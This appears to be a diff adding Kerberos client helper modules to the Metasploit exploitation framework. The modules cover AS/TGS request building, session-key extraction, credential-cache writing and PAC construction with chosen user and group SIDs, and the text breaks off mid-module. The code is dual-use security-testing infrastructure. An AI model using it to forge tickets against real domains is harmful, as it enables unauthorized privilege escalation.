||||||
|
require 'msf/core/exploit/kerberos/client/tgs_request'
|
||||||
|
require 'msf/core/exploit/kerberos/client/tgs_response'
|
||||||
|
require 'msf/core/exploit/kerberos/client/pac'
|
||||||
|
require 'msf/core/exploit/kerberos/client/cache_credential'
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Kerberos::Client::Base
|
||||||
|
include Msf::Exploit::Remote::Kerberos::Client::AsRequest
|
||||||
|
include Msf::Exploit::Remote::Kerberos::Client::AsResponse
|
||||||
|
include Msf::Exploit::Remote::Kerberos::Client::TgsRequest
|
||||||
|
include Msf::Exploit::Remote::Kerberos::Client::TgsResponse
|
||||||
|
include Msf::Exploit::Remote::Kerberos::Client::Pac
|
||||||
|
include Msf::Exploit::Remote::Kerberos::Client::CacheCredential
|
||||||
|
|
||||||
|
# @!attribute client
|
||||||
|
# @return [Rex::Proto::Kerberos::Client] The kerberos client
|
||||||
|
attr_accessor :client
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RHOST,
|
||||||
|
Opt::RPORT(88),
|
||||||
|
OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10])
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the target host
|
||||||
|
#
|
||||||
|
# @return [String]
|
||||||
|
def rhost
|
||||||
|
datastore['RHOST']
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the remote port
|
||||||
|
#
|
||||||
|
# @return [Fixnum]
|
||||||
|
def rport
|
||||||
|
datastore['RPORT']
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the TCP timeout
|
||||||
|
#
|
||||||
|
# @return [Fixnum]
|
||||||
|
def timeout
|
||||||
|
datastore['Timeout']
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the kdc peer
|
||||||
|
#
|
||||||
|
# @return [String]
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Creates a kerberos connection
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||||
|
# @option opts [String] :rhost
|
||||||
|
# @option opts [<String, Fixnum>] :rport
|
||||||
|
# @return [Rex::Proto::Kerberos::Client]
|
||||||
|
def connect(opts={})
|
||||||
|
kerb_client = Rex::Proto::Kerberos::Client.new(
|
||||||
|
host: opts[:rhost] || rhost,
|
||||||
|
port: (opts[:rport] || rport).to_i,
|
||||||
|
timeout: (opts[:timeout] || timeout).to_i,
|
||||||
|
context:
|
||||||
|
{
|
||||||
|
'Msf' => framework,
|
||||||
|
'MsfExploit' => self,
|
||||||
|
},
|
||||||
|
protocol: 'tcp'
|
||||||
|
)
|
||||||
|
|
||||||
|
disconnect if client
|
||||||
|
self.client = kerb_client
|
||||||
|
|
||||||
|
kerb_client
|
||||||
|
end
|
||||||
|
|
||||||
|
# Disconnects the Kerberos client
|
||||||
|
#
|
||||||
|
# @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect
|
||||||
|
def disconnect(kerb_client = client)
|
||||||
|
kerb_client.close if kerb_client
|
||||||
|
|
||||||
|
if kerb_client == client
|
||||||
|
self.client = nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Performs cleanup as necessary, disconnecting the Kerberos client
|
||||||
|
# if it's still established.
|
||||||
|
def cleanup
|
||||||
|
super
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sends a kerberos AS request and reads the response
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||||
|
# @see Msf::Kerberos::Client::AsRequest#build_as_request
|
||||||
|
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||||
|
def send_request_as(opts = {})
|
||||||
|
connect(opts)
|
||||||
|
req = build_as_request(opts)
|
||||||
|
res = client.send_recv(req)
|
||||||
|
disconnect
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sends a kerberos AS request and reads the response
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||||
|
# @see Msf::Kerberos::Client::TgsRequest#build_tgs_request
|
||||||
|
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||||
|
def send_request_tgs(opts = {})
|
||||||
|
connect(opts)
|
||||||
|
req = build_tgs_request(opts)
|
||||||
|
res = client.send_recv(req)
|
||||||
|
disconnect
|
||||||
|
res
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,114 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/kerberos'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Kerberos
|
||||||
|
module Client
|
||||||
|
module AsRequest
|
||||||
|
# Builds a kerberos AS request
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Array<Rex::Proto::Kerberos::Model::PreAuthData>, Rex::Proto::Kerberos::Model::KdcRequestBody>}]
|
||||||
|
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||||
|
# @see [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||||
|
# @see #build_as_pa_time_stamp
|
||||||
|
# @see #build_as_request_body
|
||||||
|
def build_as_request(opts = {})
|
||||||
|
pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts)
|
||||||
|
body = opts[:body] || build_as_request_body(opts)
|
||||||
|
|
||||||
|
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
|
||||||
|
pvno: 5,
|
||||||
|
msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
|
||||||
|
pa_data: pa_data,
|
||||||
|
req_body: body
|
||||||
|
)
|
||||||
|
|
||||||
|
request
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Time, Fixnum, String>}]
|
||||||
|
# @option opts [Time] :time_stamp
|
||||||
|
# @option opts [Fixnum] :pausec
|
||||||
|
# @option opts [Fixnum] :etype
|
||||||
|
# @option opts [String] :key
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::PreAuthData]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||||
|
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||||
|
def build_as_pa_time_stamp(opts = {})
|
||||||
|
time_stamp = opts[:time_stamp] || Time.now
|
||||||
|
pausec = opts[:pausec] || 0
|
||||||
|
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||||
|
key = opts[:key] || ''
|
||||||
|
|
||||||
|
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
|
||||||
|
pa_time_stamp: time_stamp,
|
||||||
|
pausec: pausec
|
||||||
|
)
|
||||||
|
|
||||||
|
enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||||
|
etype: etype,
|
||||||
|
cipher: pa_time_stamp.encrypt(etype, key)
|
||||||
|
)
|
||||||
|
|
||||||
|
pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||||
|
type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP,
|
||||||
|
value: enc_time_stamp.encode
|
||||||
|
)
|
||||||
|
|
||||||
|
pa_enc_time_stamp
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a kerberos AS request body
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName>}]
|
||||||
|
# @option opts [Fixnum] :options
|
||||||
|
# @option opts [Time] :from
|
||||||
|
# @option opts [Time] :till
|
||||||
|
# @option opts [Time] :rtime
|
||||||
|
# @option opts [Fixnum] :nonce
|
||||||
|
# @option opts [Fixnum] :etype
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||||
|
# @option opts [String] :realm
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
|
||||||
|
# @see #build_client_name
|
||||||
|
# @see #build_server_name
|
||||||
|
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
|
||||||
|
def build_as_request_body(opts = {})
|
||||||
|
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
|
||||||
|
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
|
||||||
|
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
|
||||||
|
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
|
||||||
|
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
|
||||||
|
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
|
||||||
|
cname = opts[:cname] || build_client_name(opts)
|
||||||
|
realm = opts[:realm] || ''
|
||||||
|
sname = opts[:sname] || build_server_name(opts)
|
||||||
|
|
||||||
|
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
|
||||||
|
options: options,
|
||||||
|
cname: cname,
|
||||||
|
realm: realm,
|
||||||
|
sname: sname,
|
||||||
|
from: from,
|
||||||
|
till: till,
|
||||||
|
rtime: rtime,
|
||||||
|
nonce: nonce,
|
||||||
|
etype: etype
|
||||||
|
)
|
||||||
|
|
||||||
|
body
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,49 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/kerberos'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Kerberos
|
||||||
|
module Client
|
||||||
|
module AsResponse
|
||||||
|
# Extracts the session key from a Kerberos AS Response
|
||||||
|
#
|
||||||
|
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||||
|
# @param key [String]
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||||
|
def extract_session_key(res, key)
|
||||||
|
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
|
||||||
|
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||||
|
|
||||||
|
enc_kdc_res.key
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extracts the logon time from a Kerberos AS Response
|
||||||
|
#
|
||||||
|
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||||
|
# @param key [String]
|
||||||
|
# @return [Fixnum]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||||
|
def extract_logon_time(res, key)
|
||||||
|
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
|
||||||
|
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||||
|
|
||||||
|
auth_time = enc_kdc_res.auth_time
|
||||||
|
|
||||||
|
auth_time.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,48 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Kerberos
|
||||||
|
module Client
|
||||||
|
module Base
|
||||||
|
|
||||||
|
# Builds a kerberos Client Name Principal
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||||
|
# @option opts [String] :client_name the client's name
|
||||||
|
# @option opts [Fixnum] :client_type the client's name type
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||||
|
def build_client_name(opts = {})
|
||||||
|
name = opts[:client_name] || ''
|
||||||
|
name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
|
||||||
|
|
||||||
|
Rex::Proto::Kerberos::Model::PrincipalName.new(
|
||||||
|
name_type: name_type,
|
||||||
|
name_string: name.split('/')
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a kerberos Server Name Principal
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||||
|
# @option opts [String] :server_name the server's name
|
||||||
|
# @option opts [Fixnum] :server_type the server's name type
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||||
|
def build_server_name(opts = {})
|
||||||
|
name = opts[:server_name] || ''
|
||||||
|
name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
|
||||||
|
|
||||||
|
Rex::Proto::Kerberos::Model::PrincipalName.new(
|
||||||
|
name_type: name_type,
|
||||||
|
name_string: name.split('/')
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,152 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/kerberos'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Kerberos
|
||||||
|
module Client
|
||||||
|
module CacheCredential
|
||||||
|
|
||||||
|
# Builds a MIT Credential Cache
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Fixnum, Array<String>, Rex::Proto::Kerberos::CredentialCache::Principal, Array<Rex::Proto::Kerberos::CredentialCache::Credential>>}]
|
||||||
|
# @option opts [Fixnum] :version
|
||||||
|
# @option opts [Array<String>] :headers
|
||||||
|
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal
|
||||||
|
# @option opts [Array<Rex::Proto::Kerberos::CredentialCache::Credential>] :credentials
|
||||||
|
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
|
||||||
|
# @see Rex::Proto::Kerberos::CredentialCache::Cache
|
||||||
|
def create_cache(opts = {})
|
||||||
|
version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION
|
||||||
|
headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER]
|
||||||
|
primary_principal = opts[:primary_principal] || create_cache_principal(opts)
|
||||||
|
credentials = opts[:credentials] || [create_cache_credential(opts)]
|
||||||
|
|
||||||
|
cache = Rex::Proto::Kerberos::CredentialCache::Cache.new(
|
||||||
|
version: version,
|
||||||
|
headers: headers,
|
||||||
|
primary_principal: primary_principal,
|
||||||
|
credentials: credentials
|
||||||
|
)
|
||||||
|
|
||||||
|
cache
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a MIT Credential Cache principal
|
||||||
|
#
|
||||||
|
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>>}>]
|
||||||
|
# @option opts [Fixnum] :name_type
|
||||||
|
# @option opts [String] :realm
|
||||||
|
# @option opts [Array<String>] :components
|
||||||
|
# @return [Rex::Proto::Kerberos::CredentialCache::Principal]
|
||||||
|
# @see Rex::Proto::Kerberos::CredentialCache::Principal
|
||||||
|
def create_cache_principal(opts = {})
|
||||||
|
name_type = opts[:name_type] || 0
|
||||||
|
realm = opts[:realm] || ''
|
||||||
|
components = opts[:components] || ['']
|
||||||
|
|
||||||
|
principal = Rex::Proto::Kerberos::CredentialCache::Principal.new(
|
||||||
|
name_type: name_type,
|
||||||
|
realm: realm,
|
||||||
|
components:components
|
||||||
|
)
|
||||||
|
|
||||||
|
principal
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a MIT Credential Cache key block
|
||||||
|
#
|
||||||
|
# @param opts [Hash<{Symbol => <Fixnum, String>}>]
|
||||||
|
# @option opts [Fixnum] :key_type
|
||||||
|
# @option opts [Fixnum] :e_type
|
||||||
|
# @option opts [String] :key_value
|
||||||
|
# @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock]
|
||||||
|
# @see Rex::Proto::Kerberos::CredentialCache::KeyBlock
|
||||||
|
def create_cache_key_block(opts = {})
|
||||||
|
key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||||
|
e_type = opts[:e_type] || 0
|
||||||
|
key_value = opts[:key_value] || ''
|
||||||
|
|
||||||
|
key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new(
|
||||||
|
key_type: key_type,
|
||||||
|
e_type: e_type,
|
||||||
|
key_value: key_value
|
||||||
|
)
|
||||||
|
|
||||||
|
key_block
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a times structure linked to a credential in a MIT Credential Cache
|
||||||
|
#
|
||||||
|
# @param opts [Hash<{Symbol => Fixnum}>]
|
||||||
|
# @option opts [Fixnum] auth_time
|
||||||
|
# @option opts [Fixnum] start_time
|
||||||
|
# @option opts [Fixnum] end_time
|
||||||
|
# @option opts [Fixnum] renew_till
|
||||||
|
# @return [Rex::Proto::Kerberos::CredentialCache::Time]
|
||||||
|
# @see Rex::Proto::Kerberos::CredentialCache::Time
|
||||||
|
def create_cache_times(opts = {})
|
||||||
|
auth_time = opts[:auth_time] || 0
|
||||||
|
start_time = opts[:start_time] || 0
|
||||||
|
end_time = opts[:end_time] || 0
|
||||||
|
renew_till = opts[:renew_till] || 0
|
||||||
|
|
||||||
|
time = Rex::Proto::Kerberos::CredentialCache::Time.new(
|
||||||
|
auth_time: auth_time.to_i,
|
||||||
|
start_time: start_time.to_i,
|
||||||
|
end_time: end_time.to_i,
|
||||||
|
renew_till: renew_till.to_i
|
||||||
|
)
|
||||||
|
|
||||||
|
time
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a MIT Credential Cache credential
|
||||||
|
#
|
||||||
|
# @param opts [Hash<{Symbol => <>}>]
|
||||||
|
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client
|
||||||
|
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server
|
||||||
|
# @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key
|
||||||
|
# @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time
|
||||||
|
# @option opts [Fixnum] is_key
|
||||||
|
# @option opts [Fixnum] flags
|
||||||
|
# @option opts [Array] addrs
|
||||||
|
# @option opts [Array] auth_data
|
||||||
|
# @option opts [String] ticket
|
||||||
|
# @option opts [String] second_ticket
|
||||||
|
# @return [Rex::Proto::Kerberos::CredentialCache::Credential]
|
||||||
|
# @see Rex::Proto::Kerberos::CredentialCache::Credential
|
||||||
|
def create_cache_credential(opts = {})
|
||||||
|
client = opts[:client] || create_cache_principal(opts)
|
||||||
|
server = opts[:server] || create_cache_principal(opts)
|
||||||
|
key = opts[:key] || create_cache_key_block(opts)
|
||||||
|
time = opts[:time] || create_cache_times(opts)
|
||||||
|
is_skey = opts[:is_skey] || 0
|
||||||
|
tkt_flags = opts[:flags] || 0
|
||||||
|
addrs = opts[:addrs] || []
|
||||||
|
auth_data = opts[:auth_data] || []
|
||||||
|
ticket = opts[:ticket] || ''
|
||||||
|
second_ticket = opts[:second_ticket] || ''
|
||||||
|
|
||||||
|
cred = Rex::Proto::Kerberos::CredentialCache::Credential.new(
|
||||||
|
client: client,
|
||||||
|
server: server,
|
||||||
|
key: key,
|
||||||
|
time: time,
|
||||||
|
is_skey: is_skey,
|
||||||
|
tkt_flags:tkt_flags,
|
||||||
|
addrs: addrs,
|
||||||
|
auth_data: auth_data,
|
||||||
|
ticket: ticket,
|
||||||
|
second_ticket: second_ticket
|
||||||
|
)
|
||||||
|
|
||||||
|
cred
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,114 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/kerberos'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Kerberos
|
||||||
|
module Client
|
||||||
|
module Pac
|
||||||
|
|
||||||
|
# Builds a kerberos PA-PAC-REQUEST pre authenticated structure
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => Boolean}]
|
||||||
|
# @option opts [Boolean] :pac_request_value
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::Field::PreAuthData]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::PreAuthPacRequest
|
||||||
|
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||||
|
def build_pa_pac_request(opts = {})
|
||||||
|
value = opts[:pac_request_value] || false
|
||||||
|
pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value)
|
||||||
|
pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||||
|
type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST,
|
||||||
|
value: pac_request.encode
|
||||||
|
)
|
||||||
|
|
||||||
|
pa_pac_request
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a kerberos PACTYPE structure
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <String, Fixnum, Array, Time>}]
|
||||||
|
# @option opts [String] :client_name
|
||||||
|
# @option opts [Fixnum] :user_id the user SID Ex: 1000
|
||||||
|
# @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users'
|
||||||
|
# @option opts [Array<Fixnum>] :group_ids
|
||||||
|
# @option opts [String] :realm
|
||||||
|
# @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962
|
||||||
|
# @option opts [Time] :logon_time
|
||||||
|
# @return [Rex::Proto::Kerberos::Pac::Type]
|
||||||
|
# @see Rex::Proto::Kerberos::Pac::LogonInfo
|
||||||
|
# @see Rex::Proto::Kerberos::Pac::ClientInfo
|
||||||
|
# @see Rex::Proto::Kerberos::Pac::ServerChecksum
|
||||||
|
# @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum
|
||||||
|
# @see Rex::Proto::Kerberos::Pac::Type
|
||||||
|
def build_pac(opts = {})
|
||||||
|
user_name = opts[:client_name] || ''
|
||||||
|
user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID
|
||||||
|
primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
|
||||||
|
group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
|
||||||
|
domain_name = opts[:realm] || ''
|
||||||
|
domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID
|
||||||
|
logon_time = opts[:logon_time] || Time.now
|
||||||
|
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5
|
||||||
|
|
||||||
|
logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new(
|
||||||
|
logon_time: logon_time,
|
||||||
|
effective_name: user_name,
|
||||||
|
user_id: user_id,
|
||||||
|
primary_group_id: primary_group_id,
|
||||||
|
group_ids: group_ids,
|
||||||
|
logon_domain_name: domain_name,
|
||||||
|
logon_domain_id: domain_id,
|
||||||
|
)
|
||||||
|
|
||||||
|
client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new(
|
||||||
|
client_id: logon_time,
|
||||||
|
name: user_name
|
||||||
|
)
|
||||||
|
|
||||||
|
server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new(
|
||||||
|
checksum: checksum_type
|
||||||
|
)
|
||||||
|
|
||||||
|
priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new(
|
||||||
|
checksum: checksum_type
|
||||||
|
)
|
||||||
|
|
||||||
|
pac_type = Rex::Proto::Kerberos::Pac::Type.new(
|
||||||
|
buffers: [
|
||||||
|
logon_info,
|
||||||
|
client_info,
|
||||||
|
server_checksum,
|
||||||
|
priv_srv_checksum
|
||||||
|
],
|
||||||
|
checksum: checksum_type
|
||||||
|
)
|
||||||
|
|
||||||
|
pac_type
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds an kerberos AuthorizationData structure containing a PACTYPE
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}]
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Pac::Type] :pac
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::AuthorizationData]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||||
|
def build_pac_authorization_data(opts = {})
|
||||||
|
pac = opts[:pac] || build_pac(opts)
|
||||||
|
|
||||||
|
pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
|
||||||
|
elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}]
|
||||||
|
)
|
||||||
|
authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
|
||||||
|
elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}]
|
||||||
|
)
|
||||||
|
|
||||||
|
authorization_data
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,277 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/kerberos'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Kerberos
|
||||||
|
module Client
|
||||||
|
module TgsRequest
|
||||||
|
|
||||||
|
# Builds the encrypted Kerberos TGS request
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::Element>}]
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator
|
||||||
|
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||||
|
# @raise [RuntimeError] if ticket isn't available
|
||||||
|
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||||
|
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||||
|
# @see Rex::Proto::Kerberos::Model::Authenticator
|
||||||
|
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||||
|
# @see Rex::Proto::Kerberos::Model::KdcRequest
|
||||||
|
def build_tgs_request(opts = {})
|
||||||
|
subkey = opts[:subkey] || build_subkey(opts)
|
||||||
|
|
||||||
|
if opts[:enc_auth_data]
|
||||||
|
enc_auth_data = opts[:enc_auth_data]
|
||||||
|
elsif opts[:auth_data]
|
||||||
|
enc_auth_data = build_enc_auth_data(
|
||||||
|
auth_data: opts[:auth_data],
|
||||||
|
subkey: subkey
|
||||||
|
)
|
||||||
|
else
|
||||||
|
enc_auth_data = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
body = build_tgs_request_body(opts.merge(
|
||||||
|
enc_auth_data: enc_auth_data
|
||||||
|
))
|
||||||
|
|
||||||
|
checksum = opts[:checksum] || build_tgs_body_checksum(:body => body)
|
||||||
|
|
||||||
|
if opts[:auhtenticator]
|
||||||
|
authenticator = opts[:authenticator]
|
||||||
|
else
|
||||||
|
authenticator = build_authenticator(opts.merge(
|
||||||
|
subkey: subkey,
|
||||||
|
checksum: checksum
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
if opts[:ap_req]
|
||||||
|
ap_req = opts[:ap_req]
|
||||||
|
else
|
||||||
|
ap_req = build_ap_req(opts.merge(:authenticator => authenticator))
|
||||||
|
end
|
||||||
|
|
||||||
|
pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||||
|
type: Rex::Proto::Kerberos::Model::PA_TGS_REQ,
|
||||||
|
value: ap_req.encode
|
||||||
|
)
|
||||||
|
|
||||||
|
pa_data = []
|
||||||
|
pa_data.push(pa_ap_req)
|
||||||
|
